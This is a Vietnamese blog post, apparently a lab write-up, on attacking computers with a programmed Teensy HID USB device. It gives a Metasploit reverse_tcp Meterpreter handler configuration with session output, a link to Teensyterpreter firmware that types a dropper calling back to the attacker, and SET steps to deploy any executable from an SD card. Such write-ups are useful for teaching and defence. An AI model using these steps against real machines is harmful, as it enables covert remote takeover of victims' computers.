visudoblog gửi vào
- 19762 lượt xem
Giới thiệu
Kỹ thuật tấn công máy tính sử dụng thiết bị HID đã xuất hiện trong nhiều năm trở lại đây, thiết bị HID là một phân lớp của tiêu chuẩn USB - thường được ứng dụng trong khá nhiều các thiết bị ngoại vi với hình dạng, kích thước và chức năng khác nhau. Trong bài viết này, tôi sẽ tiến hành thử nghiệm các lab sử dụng thiết bị Teensy HID phiên bản phần cứng 3.2 để khai thác, chiếm quyền máy tính và một số hình thức tấn công đa dạng khác.
HID (Human Interface Device): là một phân lớp (class) trong tiêu chuẩn USB. Một thiết bị HID có thể được lập trình để định nghĩa lại chức năng của nó. Thiết bị HID có thể là một bàn phím USB, chuột USB, thiết bị chơi game cầm tay, thiết bị lưu trữ dữ liệu, ...
Các cuộc tấn công Social Engineering
Quá trình tìm kiếm và ứng dụng những điểm yếu bảo mật vào khai thác, đánh cắp dữ liệu là không ngừng. Sự phát triển của một giải pháp, xu hướng công nghệ luôn gắn liền những nguy cơ mà tin tặc có thể sử dụng để chống lại những người dùng bất cẩn. Quá trình phát triển các phần cứng độc hại cũng không ngoại lệ, và ngày càng mang tính chất tinh vi hơn, khả năng tấn công từ các thiết bị phần cứng ngày càng mở rộng.
Thực tế đã chứng minh các điều trên là đúng, tôi sẽ thực hiện tổng hợp một số tình huống tấn công cổ điển đến các phương thức mới nhất mà nạn nhân chính là người dùng cuối hoặc hệ thống CNTT có chính sách bảo mật kém.
Thiết bị lưu trữ USB chứa mã độc
Thiết bị lưu trữ USB đã trở thành một tiêu chuẩn sử dụng rộng rãi trong thời đại kỹ thuật số. Các nhà sản xuất thiết bị lưu trữ USB phải tuân thủ các chỉ dẫn trong "phân lớp thiết bị lưu trữ" (USB mass-storage device class) để thông báo đến hệ điều hành về thông tin phần cứng, giúp nhanh chóng xác định và kết nối với nhau thông qua driver. Có nhiều tiêu chuẩn được sử dụng rộng rãi trong phân lớp này bao gồm: USB lưu trữ, thẻ nhớ, thiết bị đọc thẻ, máy ảnh kỹ thuật số, máy chơi nhạc MP3/MP4, khung ảnh kỹ thuật số, điện thoại thông minh. Phương pháp tấn công chủ yếu trên những thiết bị này là có thể chứa những mã độc nhằm lợi dụng sự bất cẩn của người dùng để kích hoạt, đây được xem là dạng tấn công phổ biến và dễ dàng thực hiện tại thời điểm USB mới phổ biến.
Từ phiên bản hệ điều hành Windows 95, tính năng Autorun (sử dụng autorun.inf) là một trong những điểm đáng chú ý để các tin tặc dễ dàng triển khai mã độc mà không cần phải kích hoạt thủ công. Những phiên bản hệ điều hành về sau, Microsoft luôn cải tiến các tính năng nhằm bảo đảm người dùng được an toàn trước các thiết bị ngoại vi:
- Windows XP chặn thực thi autorun.info từ USB, nhưng vẫn cho phép CD/DVD kích hoạt tính năng autorun.inf. Đây là thời điểm ra đời của thiết bị USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD nhằm vượt qua cơ chế kiểm soát của hệ điều hành.
- Vista chặn autorun.inf trên mọi thiết bị ngoại vi và sự ra đời của cơ chế bảo vệ UAC (User Account Control). Cơ chế bảo vệ UAC vẫn được sử dụng cho những phiên bản Windows 7, Windows 8 và Windows 10 nhằm tăng khả năng kiểm soát việc thực thi mã độc tự động.
- Hình thức tấn công sử dụng HID ngày nay đã có thể vượt qua hầu hết các cơ chế kiểm soát an ninh mặc định của hệ điều hành.
Thiết bị lưu trữ USB U3
USB U3, cơ bản đây là một thiết bị USB thông thường được tích hợp chức năng tạo phân vùng mở rộng với định dạng thiết bị là CD/DVD
Sư ra đời của thiết bị USB U3 là một nhánh phát triển của kỹ thuật vượt cơ chế kiểm soát USB của hệ điều hành Windows XP. USB U3 lợi dụng chính sách Autorun chỉ được cho phép trên CD/DVD, các tin tặc đã áp dụng tính năng nhằm lưu trữ và thực thi mã độc tự động trên XP.
Thiết bị HID - kỹ thuật tấn công đa hình
Nhằm vượt qua các cơ chế kiểm soát của hệ điều hành ngày nay, phương án tấn công sử dụng thiết bị HID là một lựa chọn hoàn hảo. Bằng cách lập trình lại vi điều khiển của thiết bị HID, tin tặc có thể giả lập các hành vi của bàn phím, chuột để gởi các thông tin dữ liệu mong muốn đến máy tính/ thiết bị kết nối nhằm thực thi mã độc chiếm quyền điều khiển.
Do đặc tính linh động và có thể định nghĩa lại vi xử lý, HID có thể ẩn mình dưới nhiều hình dạng và chức năng khác nhau như: bộ sạc nguồn, bàn phím, quạt USB, đèn USB, đầu đọc thẻ nhớ, đồng hồ,...
Trên thị trường hiện nay có khá nhiều vi xử lý, mạch tích hợp, thiết bị hỗ trợ HID và người dùng có thể nhanh chóng thay đổi cấu trúc firmware của nó thông qua ngôn ngữ lập trình. Một số tiêu biểu như Arduino, Raspberry Pi, Teensy, USB Rubber Ducky Deluxe,...
Hình 1: Các thiết bị hỗ trợ HID
Thiết bị Teensy HID
Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau. Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB. Giá của mạch Teensy 3.2 là khoảng 20 USD và bạn có thể mua trực tuyến tại PJRC Store.
Hình 2: Thiết bị Teensy 3.2
Arduino IDE, Teensyduino
Để tiến hành nạp các mã nguồn vào thiết bị, bạn cần phải cài đặt Arduino IDE và thư viện Teensyduino;
- Tải Arduino IDE: https://www.arduino.cc/en/Main/Software
- Tải Teensyduino: https://www.pjrc.com/teensy/td_download.html
Hình 3: Giao diện Arduino IDE và Teensyduino
Sau khi tiến hành cái đặt thành công, bạn có thể tiến hành lập trình và nạp chương trình vào thiết bị qua giao diện Arduino IDE. Cần chú ý chọn đúng phiên bản phần cứng mà bạn sử dụng để nạp chương trình.
Hình 4: Thiết lập môi trường lập trình Teensy 3.2
Teensy USB – Tấn công đa nền tảng
Teensy có thể đóng vai trò là một thiết bị mã độc (lưu trữ các mã dropper trong chính thiết bị Teensy), hoặc có thể kết hợp với thẻ nhớ SD để mở rộng vùng lưu trữ dữ liệu (lưu trữ các CVE exploit, 0-day, malware,...). Khi dropper được tạo trên máy nạn nhân, nó sẽ tiến hành nhận các mã khai thác, backdoor,... từ máy chủ tin tặc.
Tấn công 1: Teensy USB + Metasploit
Đây là kỹ thuật tấn công đơn giản nhất để kiếm soát máy nạn nhân dưới 30 giây.
Bước 1: Kích hoạt Metasploit tại máy chủ tin tặc
Tạo tập tin payload_handler.rc với nội dung như sau:
root@kali:~# cat payload_handler.rc use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 set ExitOnSession false set EnableStageEncoding true exploit -j
Khởi tạo máy chủ tin tặc sử dụng lệnh msfconsole:
root@kali:~# msfconsole -r payload_handler.rc .... [*] Processing payload_handler.rc for ERB directives. resource (payload_handler.rc)> use multi/handler resource (payload_handler.rc)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (payload_handler.rc)> set LHOST 0.0.0.0 LHOST => 0.0.0.0 resource (payload_handler.rc)> set LPORT 4444 LPORT => 4444 resource (payload_handler.rc)> set ExitOnSession false ExitOnSession => false resource (payload_handler.rc)> set EnableStageEncoding true EnableStageEncoding => true resource (payload_handler.rc)> exploit -j [*] Exploit running as background job.
Bước 2: Nạp chương trình Teensy
Có nhiều platform cung cấp mã chương trình phục vụ tạo kết nối từ máy nạn nhân đến máy chủ tin tặc như: Social Engineering Toolkit, hid-backdoor-peensy,... Trong ví dụ này, tôi sẽ sử dụng mã khai thác Teensyterpreter với các tính năng cơ bản nhất để có thể nhanh chóng hiểu rõ tính năng của Teensy.
Tải mã nguồn Teensyterpreter tại:https://raw.githubusercontent.com/KernelEquinox/Teensyterpreter/master/Teensyterpreter.ino
Thực hiện mở tập tin Teensyterpreter.ino trong Arduino IDE và cần điều chỉnh cấu hình kết nối đến IP, Port máy chủ Metasploit.
Hình 5: Thiết lập địa chỉ IP, cổng kết nối đến máy chủ tin tặc
Trước khi thực hiện biên dịch và nạp chip, cần chú ý thiết lập thiết bị Teensy là "Keyboard + Mouse + Joystick".
Hình 6: Thiết lập loại thiết bị USB
Thực hiện biên dịch và nạp chip thông qua nút Verify và Upload.
Hình 7: Biên dịch Teensyterpreter
Sau khi nạp chương trình bạn có thể thực hiện kiểm tra kết nối tại Metasploit.
[*] Started reverse TCP handler on 0.0.0.0:4444 [*] Starting the payload handler... msf exploit(handler) > [*] Encoded stage with x86/shikata_ga_nai [*] Sending encoded stage (958029 bytes) to 14.187.167.126 [*] Meterpreter session 1 opened (192.168.207.141:4444 -> 14.187.167.126:11167) at 2016-07-10 01:34:04 -0400 msf exploit(handler) > sessions -i Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 VICTIM\victim @ VICTIM 192.168.207.141:4444 -> 14.187.167.126:11167 (192.168.1.64) msf exploit(handler) >
Hình 8: Kết nối từ máy nạn nhận đến Metasploit
Tấn công 2: Teensy USB + Micro SD card
Nhằm khắc phục những hạn chế khi tấn công máy tính trong môi trường không có kết nối internet, hoặc cần sao chép dữ liệu trên một máy tính nạn nhân, tôi thực hiện lưu trữ mã độc vào thẻ nhớ MicroSD và nạp lại chương trình cho Teensy.
Đế có thể kết nối thêm thiết bị MicroSD vào Teensy, tôi cần thêm một module tích hợp "SD Adatpor". Đây là module tương thích với Teensy USB và có kích thước nhỏ, phù hợp cho việc ngụy trang thiết bị.
Hình 9: Mạch tích hợp SD Adaptor
Tuy nhiên, bạn cũng có thể mua một số loại adaptor khác từ thị trường, bạn cần đọc kỹ các chỉ dẫn để có thể kết nối phần cứng và nạp chương trình cho các chân phù hợp.
Hình 10: Mạch tích hợp SD Adaptor dành cho Arduino
Hình 11: Kết nối Teensy USB và SD adaptor
Kết nối phần cứng
Để thực hiện kết nối các thiết bị phần cứng, tôi sử dụng một số dây nối loại đầu cái-cái 10cm, và hàn các chân đực vào mạch Teensy. Sơ đồ kết nối như sau:
SD Adaptor | Teensy |
5V (VCC) | 3.3V (100mA max) |
Groud (GND) | GND |
MOSI | 11, DOUT |
MISO | 12,DIN |
SCLK (SCK) | 13, SCK |
SS (CS) | 10, CS |
Nạp chương trình đọc thẻ nhớ
Tôi tiến hành nạp chương trình kiểm tra kết nối đến thẻ nhớ và kiểm tra dữ liệu tại cổng COM.
Hình 12: Mã nguồn SD CardInfo
Cần điều chỉnh chipSelect =10 tương đương với cổng CS/SS theo kết nối vật lý.
// change this to match your SD shield or module; // Arduino Ethernet shield: pin 4 // Adafruit SD shields and modules: pin 10 // Sparkfun SD shield: pin 8 const int chipSelect = 10;
Hình 13: Mã nguồn SD CardInfo
Hình 14: Mã nguồn SD CardInfo
Triển khai mã độc
Tôi sử dụng chương trình Social-Engineer Toolkit (SET) tại Kali để tạo mã độc và nạp chương trình cho Teensy.
Hình 15: Luồng tấn công sử dụng Teensy + SD Card
root@kali:~# setoolkit 1) Social-Engineering Attacks 6) Arduino-Based Attack Vector 8) SDCard 2 Teensy Attack (Deploy Any EXE)
Tải chương trình payload.exe đã tạo sẵn vào chuyển thành .txt tại đường dẫn /usr/share/set/. Sao chép converts.txt vào thẻ nhớ và nạp teensy.pde vào Teensy.
Tham khảo
- How AutoRun Malware Became a Problem on Windows, and How It Was (Mostly) Fixed
- Don’t Panic, But All USB Devices Have a Massive Security Problem
- HTG Explains: What Is Juice Jacking and How Worried Should You Be?
- https://www.pjrc.com/teensy/
- http://www.irongeek.com/i.php?page=security/plug-and-prey-malicious-usb-devices
- http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle
- https://www.offensive-security.com/offsec/advanced-teensy-penetration-testing-payloads/
- https://github.com/offensive-security/hid-backdoor-peensy
- https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/teensy/peensy.pde
- https://github.com/matterpreter/penteensy
- https://github.com/samratashok/nishang
- http://www.linux-usb.org/usb.ids
- https://jumpespjump.blogspot.com/2013/09/making-pc-mouse-hw-trojan.html